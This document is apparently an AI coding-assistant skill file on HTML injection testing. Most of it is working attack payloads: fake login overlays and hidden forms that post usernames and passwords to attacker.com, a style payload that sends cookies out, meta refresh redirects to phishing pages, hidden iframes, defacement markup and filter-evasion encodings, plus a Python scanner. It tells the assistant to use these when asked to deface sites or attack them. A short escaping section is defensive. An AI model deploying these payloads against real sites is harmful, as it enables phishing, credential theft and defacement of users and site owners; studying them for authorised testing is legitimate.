This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
npxskills add zebbern/claude-code-guide--skill "HTML Injection Testing"Loading…
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
HTML injection occurs when user input is reflected in web pages without proper sanitization:
<!-- Vulnerable code example -->
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
<!-- Attack input -->
?name=<h1>Injected Content</h1>
<!-- Rendered output -->
<div>
Welcome, <h1>Injected Content</h1>
</div>
Key differences from XSS:
Attack goals:
Map application for potential injection surfaces:
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
Common vulnerable parameters:
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
Test with simple HTML tags:
<!-- Basic text formatting -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<!-- Structural elements -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<!-- Links -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<!-- Images -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)"> <!-- XSS attempt -->
Testing workflow:
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"
# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
Payload persists in database:
<!-- Profile bio injection -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>Site Under Maintenance</h1>
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
</div>
<!-- Comment injection -->
Great article!
<form action="http://attacker.com/steal" method="POST">
<input name="username" placeholder="Session expired. Enter username:">
<input name="password" type="password" placeholder="Password:">
<input type="submit" value="Login">
</form>
Payload in URL parameters:
<!-- URL injection -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
<!-- Search result injection -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
Payload in POST data:
# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&[email protected]" \
http://target.com/register
Inject into displayed URLs:
<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1>
<!-- Path-based injection -->
http://target.com/users/<img src=x>/profile
Create convincing phishing forms:
<!-- Fake login form overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;">
<h2>Session Expired</h2>
<p>Your session has expired. Please log in again.</p>
<form action="http://attacker.com/capture" method="POST">
<label>Username:</label><br>
<input type="text" name="username" style="width:200px;"><br><br>
<label>Password:</label><br>
<input type="password" name="password" style="width:200px;"><br><br>
<input type="submit" value="Login">
</form>
</div>
<!-- Hidden credential stealer -->
<style>
input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
<input name="user" placeholder="Verify your username">
<input name="pass" type="password" placeholder="Verify your password">
<button>Verify</button>
</form>
URL-encoded phishing link:
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
Website appearance manipulation:
<!-- Full page overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:#000;color:#0f0;z-index:9999;
display:flex;justify-content:center;align-items:center;">
<h1>HACKED BY SECURITY TESTER</h1>
</div>
<!-- Content replacement -->
<style>body{display:none}</style>
<body style="display:block !important">
<h1>This site has been compromised</h1>
</body>
<!-- Image injection -->
<img src="http://attacker.com/defaced.jpg"
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
<!-- Marquee injection (visible movement) -->
<marquee behavior="alternate" style="font-size:50px;color:red;">
SECURITY VULNERABILITY DETECTED
</marquee>
<!-- Style injection -->
<style>
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
.content { display: none }
.fake-content { display: block }
</style>
<!-- Inline style injection -->
<div style="background:url('http://attacker.com/log')">Content</div>
<!-- Redirect via meta refresh -->
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
<!-- CSP bypass attempt -->
<meta http-equiv="Content-Security-Policy" content="default-src *">
<!-- Hijack existing form -->
<form action="http://attacker.com/steal">
<!-- If form already exists, add input -->
<input type="hidden" name="extra" value="data">
</form>
<!-- Embed external content -->
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
<!-- Invisible tracking iframe -->
<iframe src="http://attacker.com/track" style="display:none"></iframe>
Evade basic filters:
<!-- Case variations -->
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>
<!-- Encoding variations -->
<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
<!-- Tag splitting -->
<h
1>Split Tag</h1>
<!-- Null bytes -->
<h1%00>Null Byte</h1>
<!-- Double encoding -->
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
<!-- Unicode encoding -->
\u003ch1\u003eUnicode\u003c/h1\u003e
<!-- Attribute-based -->
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
"<h1>Test</h1>",
"<b>Bold</b>",
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<a href='http://evil.com'>Click</a>",
"<div style='color:red'>Styled</div>",
"<marquee>Moving</marquee>",
"<iframe src='http://evil.com'></iframe>",
]
for payload in payloads:
encoded = urllib.parse.quote(payload)
url = f"{target}?{param}={encoded}"
try:
response = requests.get(url, timeout=5)
if payload.lower() in response.text.lower():
print(f"[+] Possible injection: {payload}")
elif "<h1>" in response.text or "<b>" in response.text:
print(f"[?] Partial reflection: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
Secure coding practices:
// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: Strip tags
echo strip_tags($user_input);
// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');
# Python: HTML escape
from html import escape
safe_output = escape(user_input)
# Python Flask: Auto-escaping
{{ user_input }} # Jinja2 escapes by default
{{ user_input | safe }} # Marks as safe (dangerous!)
// JavaScript: Text content (safe)
element.textContent = userInput;
// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput; // Vulnerable!
// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
Server-side protections:
| Payload | Purpose |
|---|---|
<h1>Test</h1> | Basic rendering test |
<b>Bold</b> | Simple formatting |
<a href="evil.com">Link</a> | Link injection |
<img src=x> | Image tag test |
<div style="color:red"> | Style injection |
<form action="evil.com"> | Form hijacking |
| Context | Test Approach |
|---|---|
| URL parameter | ?param=<h1>test</h1> |
| Form field | POST with HTML payload |
| Cookie value | Inject via document.cookie |
| HTTP header | Inject in Referer/User-Agent |
| File upload | HTML file with malicious content |
| Type | Example |
|---|---|
| URL encoding | %3Ch1%3E = <h1> |
| HTML entities | <h1> = <h1> |
| Double encoding | %253C = < |
| Unicode | \u003c = < |
| Issue | Solutions |
|---|---|
| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |
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